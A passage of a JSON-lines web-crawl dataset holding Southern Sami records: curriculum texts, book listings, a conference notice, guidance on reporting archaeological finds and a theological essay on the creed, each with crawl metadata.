jarkan tjarke pryöveme dejtie stuvrehtidh.","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/ovttas.no\/sma\/filbma_sapmi-sami-people-norway","date":"2023-02-01T16:34:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764499946.80\/warc\/CC-MAIN-20230201144459-20230201174459-00073.warc.gz","language":"sma","language_score":0.9999830723,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999830722808838}","num_words":76,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.132,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Duedtie (KHV02‑02)\nJarngebiehkieh\nVætnoetjiehpiesvoeth \/ duedtietjiehpiesvoeth\nJarngebiehkie vætnoetjiehpiesvoeth \/duedtietjiehpiesvoeth sæjhta jiehtedh learohkh edtjieh maahtoem evtiedidh gïetigujmie vytnesjidh, praktihkeles tjiehpiesvoeth jïh vïssjelesvoetem evtiedidh viehkine ovmessie dïrregh jïh materijaalh nuhtjedh. Learohkh edtjieh goerkesem evtiedidh materijaali jïjtsevoeti, funksjonaliteeten jïh vuekiej bïjre jïjtse sjugneden barkoen tjïrrh. Dah edtjieh garre, plastiske jïh myövhkes materijaalh jïh digitaale dïrregh nuhtjedh etihkeles, byjresevoerkes jïh jearsoeslaakan, abpe skuvletïjjen tjïrrh.\nTjeahpoe- jïh hammoedimmieprosessh\nJarngebiehkie tjeahpoe- jïh hammoedimmieprosessh sæjhta jiehtedh learohkh edtjieh tjetskehkevoetem, kreativiteetem, heartoeh, sjugniedimmieaavoem, vïssjelesvoetem evtiedidh, jïh maahtoem dåeriesmoerh loetedh. Jarngebiehkie leavloem beaja dovne ræhpas jïh kraanskoje prosesside, jïh sïlleste sïllese prosessh gusnie evtiedimmie jïh innovasjovne leah ulmie.\nVisuelle gaskesadteme\nJarngebiehkie visuelle gaskesadteme sæjhta jiehtedh learohkh edtjieh maehtedh lohkedh, guarkedh jïh nuhtjedh dam visuelle gïelem. Daesnie evtiedimmie guvviedimmietjiehpiesvoetijste eevre vihkele juktie maehtedh åssjalommesh, dååjrehtimmieh, dïjrem jïh ektiedimmieh gaskesadtedh. Learohkh edtjieh maehtedh visuelle vierhkievierhtieh nuhtjedh voerkeslaakan jïh eksperimenteereden guektiendimensjonaale, golmendimensjonaale jïh digitaale vuekiej tjïrrh\nKultuvregoerkese\nJarngebiehkie kultuvregoerkese sæjhta jiehtedh learohkh edtjieh ektietïjjen visuelle kultuvrem jïh kultuvreaerpiem ovmessie veartenebielijste goerehtidh goh gaaltije dååjresidie jïh goh skraejrie jïjtsh sjugniedimmiebarkosne. Learohkh edtjieh vuesiehtimmieh dåastodh jïh ussjedadtedh guktie tjeahpoe, vætnoe jïh hammoedimmie vuesiehtieh jïh leah meatan kultuvrem, seabradahkeevtiedimmiem jïh almetji identiteetem hammoedieh. Daajroe visuelle jïh materijelle kultuvren bïjre våaromem vadta voerkes veeljemh vaeltedh goh utnije jïh meatanårroje, jïh jïjtse sjugniedimmiebarkosne.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/www.udir.no\/lk20\/khv02-02\/om-faget\/kjerneelementer?lang=sma","date":"2023-03-25T08:38:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296945317.85\/warc\/CC-MAIN-20230325064253-20230325094253-00300.warc.gz","language":"sma","language_score":1.0000067949,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000067949295044}","num_words":205,"character_repetition_ratio":0.101,"word_repetition_ratio":0.0,"special_characters_ratio":0.118,"stopwords_ratio":0.141,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Vitnedimmie (KRO01‑05)\nDåaresthfaageles teemah\nAlmetjehealsoe jïh jieledehaalveme\nVitnedimmesne dïhte dåaresthfaageles teema almetjehealsoe jïh jieledehaalveme edtja hijven psyskiske jïh fysiske healsoem eevtjedh jïh learoehkidie dïrregh vedtedh eensi jieledeveejlemh vaeltedh. Faage edtja positijve jïjtjeguvviem eevtjedh mij maahta learoehkidie jearsoe identiteetem vedtedh. Faage edtja viehkiehtidh guktie learohkh daajroem åadtjoeh ovmessie perspektijvi bïjre svihtjemedarjoeminie jïh healsosne. Learohkh edtjieh aaj lïeredh healsoem reeredh goh vierhtie mij gaagnine fïereguhtese, jïh lïeredh veeljemh vaeltedh mah leah hijven jïjtsh jïh mubpiej healsose abpe jieleden tjïrrh.\nDemokratije jïh meatanårrojevoete\nVitnedimmesne dïhte dåaresthfaagles teema demokratije jïh meatanårrojevoete edtja maahtoem eevtjedh ektiespïelese darjoeminie, jïh ussjedadtedh maam vihkelesvoetide dïhte åtna maam jïjtse dorje ektiespïelen jïh lïeremen åvteste faagesne. Faage edtja viehkiehtidh guktie learohkh daajroem jïh goerkesem åadtjoeh demokraateles aarvojste jïh spïelenjoelkedassijste gosse meatan jïh meatan dïedtem vaeltieh jïh laavenjostoeh. Faage edtja aaj nuepiem vedtedh lïeredh laejhtehkslaakan ussjedidh jïh joekehts mïelh gïetedidh jïh ov-sïemesvoetem ååktedh.\nMonnehke evtiedimmie\nVitnedimmiefaagesne dïhte dåaresthfaageles teema monnehke evtiedimmie lea eatnemedååjresi bïjre mah leavloem biejieh jearsoe jïh monnehke fealadæmman. Faage edtja viehkiehtidh goerkesem vedtedh ihke fïereguhten veeljeme vihkelesvoetem jïh konsekvensh åtna monnehke evtiedæmman jïh vaarjelæmman jieliedistie eatnamisnie dovne voenges, regijonaale jïh veartenevijries.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/www.udir.no\/lk20\/kro01-05\/om-faget\/tverrfaglige-temaer?lang=sma","date":"2023-03-25T07:59:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296945317.85\/warc\/CC-MAIN-20230325064253-20230325094253-00524.warc.gz","language":"sma","language_score":1.0000092983,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000009298324585}","num_words":183,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.122,"stopwords_ratio":0.158,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bertije\nVaadtasovvemejaepie\n2002\nDaltese\nFormaate\nSïejhme gærja\nReakta-aajhtere\nReaktah\nGaajhkh reaktah leah doelehtovveme\nMennie bielesne\n31\nGærjetje mearoesaemien kultuvren bïjre Čuđegieddeste, Leaibevuotneste jïh Smiervuotneste.\nGærjetje gusnie soptsesåvva Porsáŋgun histovrijen jïh årroji bïjre. Eatnemeåtnoe, bigkemevuekieh, vætnoe jïh beapmoeh, saemiej dovletje jaahkoe jïh kristesvoete, soptsestimmesvuekieh, kultuvremojhtesh, saemien sijjienommh jïh kaarhth. Minngemes sæjrojne dovne læstoe eatnemebaakojste mah daamtaj sijjienommine åtnalgieh.\nOvttas|Aktan|Aktesne bruker også analyseverktøy, dette for å forbedre og videreutvikle nettstedet.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/ovttas.no\/sma\/girji_sjosamekulturen-i-ytre-porsanger","date":"2023-03-24T15:52:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296945287.43\/warc\/CC-MAIN-20230324144746-20230324174746-00164.warc.gz","language":"sma","language_score":0.9997869134,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.999786913394928}","num_words":66,"character_repetition_ratio":0.009,"word_repetition_ratio":0.0,"special_characters_ratio":0.138,"stopwords_ratio":0.152,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije Kintel, Anders Sámi Giellatekno Bertije Universitetet i Tromsø Sametinget i Norge Faage Saemien 1 Saemien 2, 3 jïh 4 Daltese Maanagïerte 1-4 5-7 8-10 VGS Jollebe ööhpehtimmie Giele Julevsaemiengïele Daaroengïele Formaate Gaskeviermiesæjroe Reakta-aajhtere Universitetet i Tromsø Sametinget i Norge Reaktah Gaajhkh reaktah leah doelehtovveme Aamhtesh Aarhte jïh daajroe IT\/teknologije Saemiengïele Baakoegærjah Grammatihke Viehkiebaakoe Baakoegærja","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/ovttas.no\/sma\/digitala-resursa_lulesamisk-norsk-web-ordbok","date":"2023-03-22T13:22:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296943809.76\/warc\/CC-MAIN-20230322114226-20230322144226-00060.warc.gz","language":"sma","language_score":0.9785616994,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9785616993904114, \"sme_Latn_score\": 0.02140655554831028}","num_words":48,"character_repetition_ratio":0.089,"word_repetition_ratio":0.0,"special_characters_ratio":0.162,"stopwords_ratio":0.104,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije\nBertije\nVaadtasovvemejaepie\n2022\nFaage\nDaltese\nGiele\nISBN\n9788293402619\nFormaate\nGuvviegærja\nReakta-aajhtere\nReaktah\nGaajhkh reaktah leah doelehtovveme\nMennie bielesne\n62\nViehkiebaakoe\nÅarjelsaemien maanagærja.\nJenta som kunne snakke med hunder åarjelsaemien jarkoestovveme. Sofie Kroeneseatnamisnie årroeminie. Dïhte bïenjh dan tjarke gaerhtieminie, maahta dovne soptsestidh gujmie! Bïenjijste tjuara gaahtesjidh, tjidtjebe jeahta. Ij Sofie bïllh gænnah. Nukan reakadimmiebiejjien åådtje nieljine skoedtjine gaavnesjidh, men dam ij ietnemes lyjhkh gænnah. Hïehkesth dle mij ïskeres sjædta, jïh nyöjtetje tjuara skïemtjegåatan.\nOvttas|Aktan|Aktesne bruker også analyseverktøy, dette for å forbedre og videreutvikle nettstedet.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/ovttas.no\/sma\/girji_niejte-mij-meehti-bienjigujmie-soptsestidh","date":"2023-03-26T17:53:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296946445.46\/warc\/CC-MAIN-20230326173112-20230326203112-00460.warc.gz","language":"sma","language_score":0.9998562336,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9998562335968018}","num_words":81,"character_repetition_ratio":0.014,"word_repetition_ratio":0.0,"special_characters_ratio":0.163,"stopwords_ratio":0.025,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"-\nGåessie\n-\nTirsdag 21.03.2023 11.00 - torsdag 23.03.2023 12.00\n-\nGusnie\n-\nDiehtosiida, Guovdageaidnu\/Kautokeino\nKonferansen teemah lea kvaliteeteevtiedimmie saemien- jïh aalkoeåålmegepedagogihkeste jïh didaktihkeste. Konferansesne sæjhta illedahkh jïh dååjrehtimmieh evtiedimmieprosjekteste SáMOS åehpiedehtedh. Saemien dotkijh jïh aalkoeåålmegedotkijh sijhtieh sijjen pedagogeles dotkemen bïjre håalodh.\nProgramme: SáMOS-konferanse - \"Unna olbmožiid dihtii\" (PDF, 727 kB)\nSïjsebïeljelimmie. Bïeljelimmiemierie konferansese lea njoktjen 9.b. 2023 åvtelen.\nJïjjedimmie\nGåarede jïjjedimmiem joe daelie dongkedh daesnie Thon Hotell Kautokeino. Nuhtjh SáMOS goh referaanse jalhts jïjtje jïjjedimmien åvteste maaksa. Mijjieh juvnehtibie varke dongkedh juktie seekere årrodh tjïehtjelem åadtjoeh. Jeatjah jïjjedimmiesijjieh leah Arctic Motell og Camping, Goldin, Duottar camping jallh Villmarkssenteret.\nFeeleme\nLïhkemes girtiesijjie lea Alta (ALF). Gåhkoe Altan jïh Guovdageaidnun gaskesne lea 140 km, jïh ovrehte 2 tæjmoeh vaasa bïjline\/bussine vuejedh. Gåarede bïjlem leejjedh Altesne jallh bussine vuelkedh. Busse ij dan daamtaj vuejieh, guktie måjhtelh guktie edtjh buektiehtidh girtiesijjeste konferansesæjjan båetedh gosse girtieleahpah jïh jïjjedimmiem dongkh. Gïehtjh gåessie busse vuaja daennie svaalhtesisnie.\nÖörnedæjja maahta ektie skovhtem konferansen mænngan öörnedh Guovdageaidnuste Altese, jis jeenjesh edtjieh seamma girtine vuelkedh seamma biejjien goh konferanse galhkoe.\nVielie bïevnesh konferansen bïjre Saemien jïlleskuvlen nedtesæjrojne gaavnh","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/sametinget.no\/Kalender\/CalendarEvent.aspx?Id=696&MId1=7&sprak=14","date":"2023-06-04T20:45:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224650264.9\/warc\/CC-MAIN-20230604193207-20230604223207-00408.warc.gz","language":"sma","language_score":0.999761045,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9997610449790955}","num_words":165,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.167,"stopwords_ratio":0.103,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ih tjoerh maeksedh jis bïeljelh, jïh sååjhtoe dov gaavnoe maahta bieline årrodh saemien histovrijistie. saemien daeverh leah vaarjelamme kultuvremojhteselaaken mietie seammalaakan goh jeatjah kultuvremojhtesh, jïh leah jïjtsistie vaarjelamme jis 1917 raejeste jallh båarasåbpoe.\nJis daevere jo lea jåartan sistie vaaltasovveme ij tjoerh dam bïssedh, men dam vöörhkedh jearsoe jïh jueskies sijjesne ohtje jåartine gaavnoesijjeste. Mïerhkesjh gaavnoesijjiem guktie maehtebe bååstede båetedh jïh veelebe goerehtimmieh darjodh. Jis daevere annje lea jåartan sisnie, vaeltieh GPS-posisjovnem, guvvieh jïh bievnieh mijjese, juktie dellie båetebe jïh gaavnoen aalterem jïh dagke aaj vaarjelimmiestatusem vuarjasjibie. maahtah jïjnjh bïevnesh daeveri gaavnoesijjien bïjre årrodh, jïh akte daevere maahta bieline årrodh stuerebe kultuvremojhtesistie goh gåetiesijjie, måaroevåarhkoe jïh plearoeh.\nJis datne goh dajven aajhtere jïjtse eekesne kroehkh, jïh daeverem gaavnh mij seapan lea vaarjelamme, tjoerh dallatjinie barkoem tjöödtjestidh jïh mijjem gaskesadtedh. Mijjieh sïjhtebe sjæjsjalidh mejtie daerpies veelebe goerehtimmiejgujmie. Staate gaajhkh maaksoeh maaksa unnebe, privaate råajvarimmiej åvteste, goh gåetie, bïjlegåetie jallh smaave kroehkemebarkoeh.\nJis maam akt metalledetektovrine gaavna edtja dam reektedh jïh dam sïjse deelledh, seammalaakan goh jeatjah daeveregaavnoeh.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/sametinget.no\/kultuvremojhtese-jih-gaetievaarjelimmie\/maam-akt-baeries-gaavneme\/daeveregaavnoe\/","date":"2023-05-29T18:04:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224644907.31\/warc\/CC-MAIN-20230529173312-20230529203312-00768.warc.gz","language":"sma","language_score":1.0000089407,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000089406967163}","num_words":165,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.133,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije\nBertije\nVaadtasovvemejaepie\n2019\nDaltese\nGiele\nISBN\n978-82-999648-6-9\nFormaate\nGuvviegærja\nReakta-aajhtere\nReaktah\nGaajhkh reaktah leah doelehtovveme\nMennie bielesne\n35\nViehkiebaakoe\nMaanasoptsese jïh bïevnesegærja dihkiej bïjre.\nGööktine dihkine åahpenibie jïh dej guaktaj fuelhkine, naemhtie åadtjobe vuejnedh guktie dihkiej aarkebiejjie, jieleme jïh haestemh. Daate vaajese hijvenligke sjeahta maanajgïerten maanide jïh dejtie mah båarasåbpoe. Gærjan saetniesdaajroe dihkiej histovrijen bïjre, jïh dovne annetji destie mij ovsaetnies aaj. Voestes åesie lea geerve-almetjidie jïh soptseste guktie maahta dåemiedidh jis maana dihkien jïh olles dihkien sjïdth, jïh giejtie galka govlehtidh jïh bievnedh (maanajgïerth, skuvlh, maanan byjreskem j.v.)\nGærjam maehtieh dovne healsoestasjovnh, apoteekh, maanajgïerth, skuvlh jïh jeatjah aaj institusjovnh nuhtjedh.\nGærja aaj noerhte- jïh julevsaemiengïelesne gååvnese.\nOvttas|Aktan|Aktesne bruker også analyseverktøy, dette for å forbedre og videreutvikle nettstedet.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/ovttas.no\/sma\/girji_onne-dihkiegaerja","date":"2023-05-31T17:21:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224646937.1\/warc\/CC-MAIN-20230531150014-20230531180014-00600.warc.gz","language":"sma","language_score":0.9999964237,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999964237213135}","num_words":116,"character_repetition_ratio":0.028,"word_repetition_ratio":0.0,"special_characters_ratio":0.165,"stopwords_ratio":0.164,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gåalmede jaahkoebyjhkesjimmie Jupmele aejlies Voejkeninie\nBildtext: Voejkene lea eaktoe gaajhki jieledi eatnamisnie. Guvvie: Shutterstock\nJaahkoebyjhkesjimmesne mijjieh Jupmelem byjhkesjibie goh golmenektievoete: Aehtjie, Baernie jïh Voejkene. Dïhte gåalmede jaahkoebyjhkesjimmie Jupmele aejlies Voejkenisnie. Bijpelen buerkiestimmieh sjugniedimmeste soptseste guktie Jupmelen voejkene eatnemen bijjelen såajtole jïh jieledem juvride jïh almetjidie vadta. Mijjien jïjtsene jieliedisnie Voejkene lea energije, jieledefaamoe jïh orre ïedtje jïh mijjen visjovnh jïh nïekedassh jielije utnehte. Voejkene lea faamoe mij bueriem histovrijen tjïrrh åvtese buakta. Voejkene lea eaktoe jieleden åvteste eatnamisnie.\nMohte jaahkoebyjhkesjimmien gåalmede artihkele ij ajve soptsesth dan bïjre guktie Jupmelen Voejkene jieledem tseegkesåvva, mohte aaj guktie Voejkene almetjh viehkehte jieledh Jupmelem jaehkedh. Vaentjelh soptsestieh guktie Jesusen jaememe darjoeji learohkh dej ïedtjem dassin. Eah dah båetieji biejjieh jaehkieh, gaajhkh lin sjuevnjede jïh jaemiejin. Mohte dellie voestes pænsta bööti! Dellie Jupmele dan voejkene seedti – jallh viehkiehtæjja, guktie tekstesne tjåådtje – dejtie. Jupmelen voejkene dejtie håhkoem, ektievoetem jïh orre otnjegem vedti.\nDïhte lea Voejkene mij mijjieh Jesusem ektede. Jåhhan vaentjele 14:26 saarnoeji Viehkiehtæjja, Aejlies Voejkene, maam Aehtjie edtja mov nommesne raajedh, edtja gaajhkem dijjese leeredh jïh gaajhkem maam manne dijjese jeahteme, dijjem måjhtajehtedh. Onne katekesesne Martin Luther tjaala eah almetjh maehtieh Jesus Kristusem jïjtje jaehkedh, almetjh Voejkene viehkiem daarpesjieh. Dïhte aejlies Voejkene mij \"mannem gohtje vaentjelen tjïrrh, mijjiem saarnoeji dan vadtesi åvteste, jïh mannem aejliesvoeten sjugnede jïh reaktoe jaahkosne mannem utniehtidh\".\nGærhkoen aejlies ektievoetese\nMijjieh aaj bæjhkoehtibie aejlies Voejkene gærhkosne jïh gærhkoen tjïrrh dæjpa, mij lea akte, aejlies jïh universelle. Seamma aejkien tjïelkes gærhkoeh leah jïjnjh jïh daamhtaj ovsïemes. Mohte gååvnese aaj maam akt mij mijjiem ektiedidh, læjhkan dejtie jeerehtsidie. Dïhte ektie jïh veartenevijre gærhkoe ij leah ajve abstrakte ideale, dïhte aaj dååjrehtimmie. Eejnegen maahta maam akt damtedh mubpie gærhkosne: guvvieh bijpelen almetjh, melodijh. Byjhkesjimmie gærhkoe aktene lea dan gaavhtan dovne jiehtege jïh ideale mïsse gærhkoe ij gåessegh jaksh.\nLaavkome lea dïhte orre reakadimmie jïh vuesehte Jupmele åålegh mijjiem baaja aelkedh viht. Bïspeprievesne Att leva i dopet Sveerjen gærhkoen bïspetjåanghkoe tjaala:\n\"Laavkome lea orrestidh, orre reakadimmie. Gosse noere almetje jallh geerve almetje lååvkesåvva lea vïhnesjimmie veaksehke: Jupmele mijjem åålegh baaja aelkedh viht. Gosse aadtjen reakasovveme maanam lååvke dellie mijjieh guarkebe mijjieh åålegh jienebh enn eatnemen almetjh, mijjieh voejkenen jieledem utnebe mij mijjese ektievoetem vadta mij ij gaertjedh jieliedistie daelie jïh daesnie.\"\nSïejhme gærhkoe jeahta gærhkoe gååvnese abpe eatnamisnie. Konkreete mïerhkesje gærhkoe lea elliesvoete gosse naaken lååvkesåvva. Laavkome lea Sveerjen gærhkosne jïh dïhte gie lååvkesåvva lïhtsege sjædta mijjen luvnie, mohte laavkomegyrhkesjimmesne ij maam akt neebnh dejnie sjïere gærhkoegovlesovvemen bïjre. Mijjieh lååvkesovvebe Kristi veartenevijre gærhkose.\nIj gærhkoe gååvnesh dan jïjtje gaavhtan, jïh dan gaavhtan vihkeles dïhte abpe veartanisnie gååvnese. Dïhte gååvnese dan gaavhtan galka saarnodh Jupmele ij gie akt laehpedh jïh viehkie gååvnese gosse ij naan håhkoe vielie. Gærhkoe gåhtjomem åtna mij lea almetji buerievoetese, meatan årrodh buerie jieledetsiehkide jïh almetje ektievoetese, neavroem giehpiedidh.\nGærhkosne almetjh ovmessie ektievoetijste. Gærhkoen almetjh ovmessie politihken vuajnoeh utnieh jïh jaahkoen sisvegem ovmessie toelhkestieh. Naan beagkoes baakojde sijhtieh, jeatjah mielieh aerpievuekien gïelem gïerve. Dïhte mij mijjiem aktene lea mijjieh jupmelem ohtsedibie.\nDïhte aaj aelhkies vuesiehtimmieh gaavnedh ij gærhkoe byjhkesjæmman jaksh aejlies årrodh. Elliesvoete daamhtaj tjeakoes. Byjhkesjimmie gærhkose goh akte jïh aejlies, dellie daarpesje laejhtedh, dovne gærhkoen sisnie jïh gærhkoen ålkoelistie. Fïere mïele aejliesvoetem utnedh lea båajhtode. Dïhte lea aaj båajhtode idealem dassedh. Idealen jïh aarkebiejjien gaskem bæjhkoehtimmie deavhta dïhte aajnes gærhkoen aejliesvoetese dan funksjovne.\nJis gærhkoe lij ellies dellie eah jïjnjh duestieh dïsse lahkanidh. Dïhte ij leah ellies, men seamma aejkien lea gærhkoe ektievoete mij ij ajve dan fiejlieh jååhkesjh mohte aaj jollebe idealide sæjhta jaksedh. Dïhte aejliesvoetem sæjhta jïh dan gaavhtan sæjhta maam akt jaksedh mij lea dan duebpielisnie. Ij gærhkoe leah aejlies vihtiesvoetedajve, mohte dïhte ræhpas aejlies Jupmelen åvteste jïh dïhte mij lea aejlies fïere guhtene mijjeste.\nAejlies almetji tjåanghkenimmie\nGærhkoe aaj dah aejlies seabradahke. Dïhte lea ektievoete dejstie gïeh sijhtieh Jupmelen ååredæjjan uvte jieledh. Dïhte mah dejtie jaahkoeladtjide ektesne tjåanghkene ij leah dah buerebe mubpijste men dah sijhtieh Jupmelen lïhke årrodh jïh dah sijhtieh dïhte galka dejtie hammoedidh. Seabradahke ij leah jaahkoeseabradahke dennie tsiehkesne. Dan gaavhtan buerebe soptsestidh aejliesvoeten ektievoeten bïjre.\nMijjieh aaj jaehkebe vihkele aejliesvoetem ohtsedidh jaksedh, seamma plïeresne goh Kristus. Dïhte lea dan bïjre dan jieliedisnie jïh dan jaahkosne jieledh. Seamma aejkien dïhte lea mubpie vihkele lutheren mïele man jïermijes mijjieh sjïdtedem mijjieh åålegh ovjïermijes. Mijjieh åålegh galkebe båajhtode darjodh jïh mijjen åålegh bielie dejnie ovrïektevoetesne gie ij akte maehtieh oktegh rååresjidh. Dan gaavhtan vihkele jaahkoebyjhkesjimmie jåarhka sådtoej luejhtemem.\nSådtoej luejhteme\nSådtoeh göökte buerkiestimmine gååvnesieh. Gaajhki bielie veartenen vuajnoeh Jupmelen luvhtie. Gååvnesieh ovrïektesvoeth mah ij naaken oktegh maehtieh darjodh, mohte læjhkan dah leah daesnie. Dïhte lea dïhte strukturelle sådtoe. Sådtoe mijjieh aaj gohtjebe maam mijjieh gaajhkesh båajhtode darjobe, dïhte individuelle sådtoe.\nVihkeles tema evangelijen-luthersken jaahkoe lea åssjele seammaaejkienvoete. Martin Luther soptseste almetje lea simul iustus et peccator. Dïhte sæjhta jiehtedh almetje lea dovne sådtere jïh rïektesvoeten – seamma tïjjesne. Mijjieh sådterh juktie ibie maehtieh dam baajedh. Gosse jielebe dellie mijjieh aaj båajhtode darjobe. Ij kristeles jaahkoe sådtoem rïevh, dïhte daajra sådtoe bielie almetjen jieliedistie. Dïhte lea ålvas jïh krïeven daajroe. Mohte goh kristegassjh mijjieh aaj jaehkebe Jupmele orre nuepieh vadta – mijjem luejhtemem åadtjobe jïh maehtebe jåerhkedh. Sådtoe ij leah maam akt mij dejtie gïeh leah gærhkosne juekedh dejstie gïeh eah gærhkosne. Dïhte lea ektie gaajhkide almetjidie. Mijjieh gïeh gyrhkesjæmman tjåanghkenibie dam darjobe juktie mijjieh sådterh gïeh sijhtieh luejhtemem åadtjodh. Dïhte jahkoebyjhkesjimmien öörnege vuesehte. Voestegh dah aejlies ektievoete båata, dan mænngan sådtoej luejhteme. Baakoe sådtoe ij maehtieh oktegh tjåadtjodh men dïhte jåarhka. Leavloem lea luejhtiemisnie.\nLuejhteme lea dejtie mah mijjieh maehtebe guarkedh, mohte gusnie goerkese ij nuekies jeatjahtehteme sjïdtedh. Luejhteme viehkine sådtoen vööste viehkehte, mohte ibie maehtieh maam akt dejnie darjodh seamma man jïjnje mijjieh dam guarkebe. Mijjieh maehtebe dovne båajhtode jïh buerie darjodh, mijjieh daarpesjibie dovne gaertjiedimmiem jïh madtjeldehtemem. Mijjieh maehtebe evtiedidh mohte ibie maehtieh ellies sjïdtedh. Dah aejlies seabradahkh tjuerieh aelkedh luejhtemem birredh. Dïhte aaj mijjen stoerre nuepie.\nLuejhteme jeatjahtahta maam ij maehtieh jeatjahtehtedh. Dan gaavhtan dïhte jieledefaamoem jïh energijem vadta. Dïhte lea aktene våarome generositeetem jieliedisnie. Jesus dan bïjre soptseste dïhte gie luejhtemem åådtjede aaj jïjnje gieriesvoetem vuesehte, Lukasen vaentjele 7:36–50.\nÅedtjien tjuedtjielimmie\nKristeles jaahkoe aaj jieleden sjuevnjeds bielie aaj krööhkeste. Jïlhts mijjieh sïjhtebe ååredæjjam biejjien vööste tjåadtjodh, dellie byjhkesjimmien baakoeh jaememen saetniesvoetese steeredh. Byjhkesjimmie dam jaahkoem iktesth jeahta jaememen tjuedtjielimmie. Gosse gaajhkh håhkoeh nåhkieh dellie jielede viht fahkoe. Jesusen tjuedtjielimmie lea ajve aalkove.\nBaante Jesusen tjuedtjielimmien jïh mijjen tjuedtjielimmien gaskem lea statistihken jåasevoete, mohte ajve dïhte mij jåasoeh statistihkine gïehtele dejnie vihkielommes aamhtesinie. Dïhte lea jearsoes damtedh, jïjtje roehtsh damtedh Jupmelen luvnie. Jupmelen lïhkesvoete mijjieh damtebe. Jis Jupmele dåajvohte ij gåessegh mijjiem laehpedh dellie tjoerebe desnie årrodh gusnie jaememen jïh sjuevnjeden vööste vitneme.\nDah jaemiji tjuedtjielimmieh leah byjhkesjimmien minngemes måjhtajehteme fïere guhte lea ektievoetesne. Ij gååvnesh naan byjhkesjimmie \"mov tjuedtjielæmman\". Tjuedtjielimmie konsekvense destie Jupmele veartenem sjugnede, viehkehte jïh gorrede.\nGosse jaememe dellie ij maehtieh maam akt lissiehtidh jallh dabpanidh. Gosse ibie maehtieh vielie håalodh dellie mijjieh tjoerebe jaehkedh maam mubpieh mijjine darjoeh. Goh kristegassjh mijjieh jaehkebe mijjieh Jupmielisnie mij mijjiem dåajvoehtamme ij gåessegh mijjem laehpedh. Tjuedtjielidh ij lea jieledh, dïhte lea ellies viehkehts årrodh jïh raeffien sïjse båetedh.\nJïh ihkuven jielede\nJielede nåhki jïh mijjen aejkie dennie eatnamisnie aaj nåhki. Mohte seammalaakan goh tjuedtjielimmie jaememem meatan vaalta, ihkuve aejkie tïjjen raastem gåhkalamme. Ihkuve aejkie lea Jupmelen jïjtje domene, jïh dïhte maam akt jeatjah enn mij aalka mesnie akt maam mijjieh damtebe. Ibie maehtieh almetjen perspektijveste gåhkalidh mohte maehtebe haarjanidh aamhtesh vuejnedh ihkuve aejkien vuajnosne.\nIhkuve aejkie Jupmelen govlesåvva mohte ij leah ammes mijjese. Pöövle mijjien maahtoem elliesvoeten bïjre mohtede maanan tsiehkiejgujmie, Pöövlen voestes prievie Korinten åålmegasse 13:11–12. Gosse geerve almetjidie sjïdtebe dellie mijjieh maehtebe mujhtedh guktie mijjieh aamhtesi bïjre ussjedimh jeatjah vuekine. Ihkuve aejkesne mijjieh maehtebe mujhtedh guktie mijjieh dam daelie mïelebe jïh guktie mijjieh dam darjobe ihkuven perspektijveste.\nKristeles jaahkoe ij jieliedistie jårrh mohte ij destie gan gaertjedh. Dïhte Jupmele mij dah jaahkoeladtjh byjhkesje goh dej sjugniedæjjah, viehkiehtæjja jïh 